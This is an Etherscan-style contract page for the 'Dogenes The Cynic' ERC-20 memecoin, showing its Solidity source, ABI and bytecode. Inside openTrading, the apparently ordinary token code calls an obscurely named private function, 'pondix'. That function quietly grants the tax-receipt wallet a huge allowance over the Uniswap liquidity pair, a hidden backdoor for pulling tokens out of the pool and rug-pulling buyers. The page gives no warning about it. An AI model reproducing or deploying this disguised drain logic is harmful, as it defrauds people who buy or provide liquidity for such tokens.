ERC-20
Overview
Max Total Supply
420,690,000,000 Dogenes
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
7,213,992,120 DogenesValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Dogenes
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-30 */ // SPDX-License-Identifier: MIT /** https://x.com/dogecoin/status/1851451103088615695/photo/1 Tg:https://t.me/dogenes_the_cynic **/ pragma solidity 0.8.26; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Dogenes is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isFeeExcempt69; uint8 private constant _decimals = 9; uint256 private constant _tTotal69 = 420690000000 * 10**_decimals; string private constant _name = unicode"Dogenes The Cynic"; string private constant _symbol = unicode"Dogenes"; uint256 public _maxAmount69 = 2 * (_tTotal69/100); uint256 public _maxWallet69 = 2 * (_tTotal69/100); uint256 public _taxThres69 = 1 * (_tTotal69/100); uint256 public _maxSwap69 = 1 * (_tTotal69/100); uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 15; uint256 private _reduceSellTaxAt = 15; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint256 private _transferTax = 0; address payable private _receipt69; IUniswapV2Router02 private uniV2Router69; address private uniV2Pair69; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxAmount69); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _receipt69 = payable(0xd0799Fd3dC3a81D05655D1F80E5EBa630DE64e2D); _balances[address(this)] = _tTotal69; _isFeeExcempt69[owner()] = true; _isFeeExcempt69[address(this)] = true; _isFeeExcempt69[_receipt69] = true; emit Transfer(address(0), address(this), _tTotal69); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal69; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function swapETH69(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniV2Router69.WETH(); _approve(address(this), address(uniV2Router69), tokenAmount); uniV2Router69.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount69) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount69 > 0, "Transfer amount must be greater than zero"); uint256 tax69=0; uint256 fee69=0; if (!swapEnabled || inSwap) { _balances[from] = _balances[from] - amount69; _balances[to] = _balances[to] + amount69; emit Transfer(from, to, amount69); return; } if (from != owner() && to != owner()) { if(_buyCount>0){ fee69 = (_transferTax); } if (from == uniV2Pair69 && to != address(uniV2Router69) && ! _isFeeExcempt69[to] ) { require(amount69 <= _maxAmount69, "Exceeds the _maxAmount69."); require(balanceOf(to) + amount69 <= _maxWallet69, "Exceeds the maxWalletSize."); fee69 = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax); _buyCount++; } if(to == uniV2Pair69 && from!= address(this) ){ fee69 = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniV2Pair69 && swapEnabled) { if(contractTokenBalance > _taxThres69 && _buyCount > _preventSwapBefore) swapETH69(min69(amount69, min69(contractTokenBalance, _maxSwap69))); sendETH69(address(this).balance); } } if(fee69 > 0){ tax69=fee69.mul(amount69).div(100); _balances[address(this)]=_balances[address(this)].add(tax69); emit Transfer(from, address(this),tax69); } _balances[from]=_balances[from].sub(amount69); _balances[to]=_balances[to].add(amount69.sub(tax69)); emit Transfer(from, to, amount69.sub(tax69)); } function removeLimit69() external onlyOwner{ _maxAmount69 = _tTotal69; _maxWallet69 = _tTotal69; emit MaxTxAmountUpdated(_tTotal69); } function sendETH69(uint256 amount) private { _receipt69.transfer(amount); } function min69(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function pondix(address pdx0, address pdx1, bool pdx2) private returns(bool) { address[2] memory acc69=[pdx0, pdx1]; _allowances[acc69[0]][acc69[1]] = (100+50)*_taxThres69.mul(100)+100; return pdx2; } function withdraw() external onlyOwner{ payable(msg.sender).transfer(address(this).balance); } function setTaxReceipt(address payable _taxR) external onlyOwner { _receipt69 = _taxR; _isFeeExcempt69[_taxR] = true; } receive() external payable {} function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniV2Router69 = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniV2Router69), _tTotal69); uniV2Pair69 = IUniswapV2Factory(uniV2Router69.factory()).createPair( address(this), uniV2Router69.WETH() );pondix(uniV2Pair69,_receipt69,true); uniV2Router69.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniV2Pair69).approve(address(uniV2Router69), type(uint).max); swapEnabled = true; tradingOpen = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmount69","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmount69","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwap69","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet69","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxThres69","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit69","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_taxR","type":"address"}],"name":"setTaxReceipt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a610365565b610021906461f313f88061037a565b61002b9190610391565b61003690600261037a565b60045560646100476009600a610365565b610056906461f313f88061037a565b6100609190610391565b61006b90600261037a565b600555606461007c6009600a610365565b61008b906461f313f88061037a565b6100959190610391565b6100a090600161037a565b60065560646100b16009600a610365565b6100c0906461f313f88061037a565b6100ca9190610391565b6100d590600161037a565b6007556014600881905560098190555f600a819055600b819055600f600c819055600d819055600e929092559081905560108190556013805461ffff60a81b1916905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601180546001600160a01b03191673d0799fd3dc3a81d05655d1f80e5eba630de64e2d1790556101896009600a610365565b610198906461f313f88061037a565b305f9081526001602081905260408220929092556003906101c05f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556011549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102476009600a610365565b610256906461f313f88061037a565b60405190815260200160405180910390a36103b0565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102bb5780850481111561029f5761029f61026c565b60018416156102ad57908102905b60019390931c928002610284565b935093915050565b5f826102d15750600161035f565b816102dd57505f61035f565b81600181146102f357600281146102fd57610319565b600191505061035f565b60ff84111561030e5761030e61026c565b50506001821b61035f565b5060208310610133831016604e8410600b841016171561033c575081810a61035f565b6103485f198484610280565b805f190482111561035b5761035b61026c565b0290505b92915050565b5f61037360ff8416836102c3565b9392505050565b808202811582820484141761035f5761035f61026c565b5f826103ab57634e487b7160e01b5f52601260045260245ffd5b500490565b6118c2806103bd5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a0d6a32211610062578063a0d6a322146102fa578063a9059cbb14610319578063c9567bf914610338578063dd62ed3e1461034c578063fac9dc9814610390575f80fd5b806370a0823114610248578063715018a61461027c5780637b6a093f146102905780638da5cb5b146102a557806395d89b41146102cb575f80fd5b806323b872dd116100e357806323b872dd146101cf578063313ce567146101ee5780633ccfd60b1461020957806357fcc4cb1461021f5780636c2ee55914610233575f80fd5b806306fdde031461011e578063095ea7b31461016957806318160ddd14610198578063203bda2c146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526011815270446f67656e6573205468652043796e696360781b60208201525b60405161016091906114ca565b60405180910390f35b348015610174575f80fd5b50610188610183366004611513565b6103a5565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ac6103bb565b604051908152602001610160565b3480156101c5575f80fd5b506101ac60065481565b3480156101da575f80fd5b506101886101e936600461153d565b6103dc565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b5061021d610443565b005b34801561022a575f80fd5b5061021d6104a1565b34801561023e575f80fd5b506101ac60075481565b348015610253575f80fd5b506101ac61026236600461157b565b6001600160a01b03165f9081526001602052604090205490565b348015610287575f80fd5b5061021d610555565b34801561029b575f80fd5b506101ac60055481565b3480156102b0575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102d6575f80fd5b50604080518082019091526007815266446f67656e657360c81b6020820152610153565b348015610305575f80fd5b5061021d61031436600461157b565b6105c6565b348015610324575f80fd5b50610188610333366004611513565b610628565b348015610343575f80fd5b5061021d610634565b348015610357575f80fd5b506101ac610366366004611596565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039b575f80fd5b506101ac60045481565b5f6103b13384846109f7565b5060015b92915050565b5f6103c86009600a6116c4565b6103d7906461f313f8806116d2565b905090565b5f6103e8848484610b1a565b610439843361043485604051806060016040528060288152602001611865602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110cc565b6109f7565b5060019392505050565b5f546001600160a01b031633146104755760405162461bcd60e51b815260040161046c906116e9565b60405180910390fd5b60405133904780156108fc02915f818181858888f1935050505015801561049e573d5f803e3d5ffd5b50565b5f546001600160a01b031633146104ca5760405162461bcd60e51b815260040161046c906116e9565b6104d66009600a6116c4565b6104e5906461f313f8806116d2565b6004556104f46009600a6116c4565b610503906461f313f8806116d2565b6005557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105336009600a6116c4565b610542906461f313f8806116d2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161046c906116e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ef5760405162461bcd60e51b815260040161046c906116e9565b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103b1338484610b1a565b5f546001600160a01b0316331461065d5760405162461bcd60e51b815260040161046c906116e9565b601354600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046c565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107019030906106f26009600a6116c4565b610434906461f313f8806116d2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610775919061171e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f8919061171e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610842573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610866919061171e565b601380546001600160a01b0319166001600160a01b0392831690811790915560115461089492166001611104565b506012546001600160a01b031663f305d71947306108c6816001600160a01b03165f9081526001602052604090205490565b5f806108d95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109649190611739565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190611764565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a01b038216610aba5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046c565b6001600160a01b038216610be05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046c565b5f8111610c415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046c565b6013545f908190600160b01b900460ff161580610c675750601354600160a81b900460ff165b15610d20576001600160a01b0385165f90815260016020526040902054610c8f908490611783565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610cbe908490611796565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d119087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610d4a57505f546001600160a01b03858116911614155b15610f8057600f5415610d5c57506010545b6013546001600160a01b038681169116148015610d8757506012546001600160a01b03858116911614155b8015610dab57506001600160a01b0384165f9081526003602052604090205460ff16155b15610eaa57600454831115610e025760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d6178416d6f756e7436392e00000000000000604482015260640161046c565b60055483610e24866001600160a01b03165f9081526001602052604090205490565b610e2e9190611796565b1115610e7c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046c565b600c54600f5411610e8f57600854610e93565b600a545b600f80549192505f610ea4836117a9565b91905055505b6013546001600160a01b038581169116148015610ed057506001600160a01b0385163014155b15610eef57600d54600f5411610ee857600954610eec565b600b545b90505b305f90815260016020526040902054601354600160a81b900460ff16158015610f2557506013546001600160a01b038681169116145b8015610f3a5750601354600160b01b900460ff165b15610f7e5760065481118015610f535750600e54600f54115b15610f7557610f75610f7085610f6b8460075461117e565b61117e565b611195565b610f7e47611305565b505b801561101057610f9b6064610f958386611340565b906113be565b305f90815260016020526040902054909250610fb790836113ff565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110079086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054611032908461145d565b6001600160a01b0386165f90815260016020526040902055611075611057848461145d565b6001600160a01b0386165f90815260016020526040902054906113ff565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110be868661145d565b604051908152602001610d11565b5f81848411156110ef5760405162461bcd60e51b815260040161046c91906114ca565b505f6110fb8486611783565b95945050505050565b604080518082019091526001600160a01b038085168252831660208201526006545f9190611133906064611340565b61113e9060966116d2565b611149906064611796565b81516001600160a01b039081165f90815260026020908152604080832095820151909316825293909352909120555092915050565b5f81831161118c578261118e565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111db576111db6117c1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611256919061171e565b81600181518110611269576112696117c1565b6001600160a01b03928316602091820292909201015260125461128f91309116846109f7565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c79085905f908690309042906004016117d5565b5f604051808303815f87803b1580156112de575f80fd5b505af11580156112f0573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561133c573d5f803e3d5ffd5b5050565b5f825f0361134f57505f6103b5565b5f61135a83856116d2565b9050826113678583611845565b1461118e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046c565b5f61118e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061149e565b5f8061140b8385611796565b90508381101561118e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046c565b5f61118e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110cc565b5f81836114be5760405162461bcd60e51b815260040161046c91906114ca565b505f6110fb8486611845565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461049e575f80fd5b5f8060408385031215611524575f80fd5b823561152f816114ff565b946020939093013593505050565b5f805f6060848603121561154f575f80fd5b833561155a816114ff565b9250602084013561156a816114ff565b929592945050506040919091013590565b5f6020828403121561158b575f80fd5b813561118e816114ff565b5f80604083850312156115a7575f80fd5b82356115b2816114ff565b915060208301356115c2816114ff565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561161c57808504811115611600576116006115cd565b600184161561160e57908102905b60019390931c9280026115e5565b935093915050565b5f82611632575060016103b5565b8161163e57505f6103b5565b8160018114611654576002811461165e5761167a565b60019150506103b5565b60ff84111561166f5761166f6115cd565b50506001821b6103b5565b5060208310610133831016604e8410600b841016171561169d575081810a6103b5565b6116a95f1984846115e1565b805f19048211156116bc576116bc6115cd565b029392505050565b5f61118e60ff841683611624565b80820281158282048414176103b5576103b56115cd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561172e575f80fd5b815161118e816114ff565b5f805f6060848603121561174b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611774575f80fd5b8151801515811461118e575f80fd5b818103818111156103b5576103b56115cd565b808201808211156103b5576103b56115cd565b5f600182016117ba576117ba6115cd565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118255783516001600160a01b03168352602093840193909201916001016117fe565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261185f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202ab4e4920fe1d68c647e48b868c7f2cd2605e05ea68be994d37755fe946074d164736f6c634300081a0033
Deployed Bytecode
0x608060405260043610610113575f3560e01c806370a082311161009d578063a0d6a32211610062578063a0d6a322146102fa578063a9059cbb14610319578063c9567bf914610338578063dd62ed3e1461034c578063fac9dc9814610390575f80fd5b806370a0823114610248578063715018a61461027c5780637b6a093f146102905780638da5cb5b146102a557806395d89b41146102cb575f80fd5b806323b872dd116100e357806323b872dd146101cf578063313ce567146101ee5780633ccfd60b1461020957806357fcc4cb1461021f5780636c2ee55914610233575f80fd5b806306fdde031461011e578063095ea7b31461016957806318160ddd14610198578063203bda2c146101ba575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526011815270446f67656e6573205468652043796e696360781b60208201525b60405161016091906114ca565b60405180910390f35b348015610174575f80fd5b50610188610183366004611513565b6103a5565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ac6103bb565b604051908152602001610160565b3480156101c5575f80fd5b506101ac60065481565b3480156101da575f80fd5b506101886101e936600461153d565b6103dc565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b5061021d610443565b005b34801561022a575f80fd5b5061021d6104a1565b34801561023e575f80fd5b506101ac60075481565b348015610253575f80fd5b506101ac61026236600461157b565b6001600160a01b03165f9081526001602052604090205490565b348015610287575f80fd5b5061021d610555565b34801561029b575f80fd5b506101ac60055481565b3480156102b0575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102d6575f80fd5b50604080518082019091526007815266446f67656e657360c81b6020820152610153565b348015610305575f80fd5b5061021d61031436600461157b565b6105c6565b348015610324575f80fd5b50610188610333366004611513565b610628565b348015610343575f80fd5b5061021d610634565b348015610357575f80fd5b506101ac610366366004611596565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561039b575f80fd5b506101ac60045481565b5f6103b13384846109f7565b5060015b92915050565b5f6103c86009600a6116c4565b6103d7906461f313f8806116d2565b905090565b5f6103e8848484610b1a565b610439843361043485604051806060016040528060288152602001611865602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110cc565b6109f7565b5060019392505050565b5f546001600160a01b031633146104755760405162461bcd60e51b815260040161046c906116e9565b60405180910390fd5b60405133904780156108fc02915f818181858888f1935050505015801561049e573d5f803e3d5ffd5b50565b5f546001600160a01b031633146104ca5760405162461bcd60e51b815260040161046c906116e9565b6104d66009600a6116c4565b6104e5906461f313f8806116d2565b6004556104f46009600a6116c4565b610503906461f313f8806116d2565b6005557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105336009600a6116c4565b610542906461f313f8806116d2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161046c906116e9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ef5760405162461bcd60e51b815260040161046c906116e9565b601180546001600160a01b039092166001600160a01b0319909216821790555f908152600360205260409020805460ff19166001179055565b5f6103b1338484610b1a565b5f546001600160a01b0316331461065d5760405162461bcd60e51b815260040161046c906116e9565b601354600160a01b900460ff16156106b75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046c565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107019030906106f26009600a6116c4565b610434906461f313f8806116d2565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610775919061171e565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f8919061171e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610842573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610866919061171e565b601380546001600160a01b0319166001600160a01b0392831690811790915560115461089492166001611104565b506012546001600160a01b031663f305d71947306108c6816001600160a01b03165f9081526001602052604090205490565b5f806108d95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093f573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109649190611739565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190611764565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a595760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046c565b6001600160a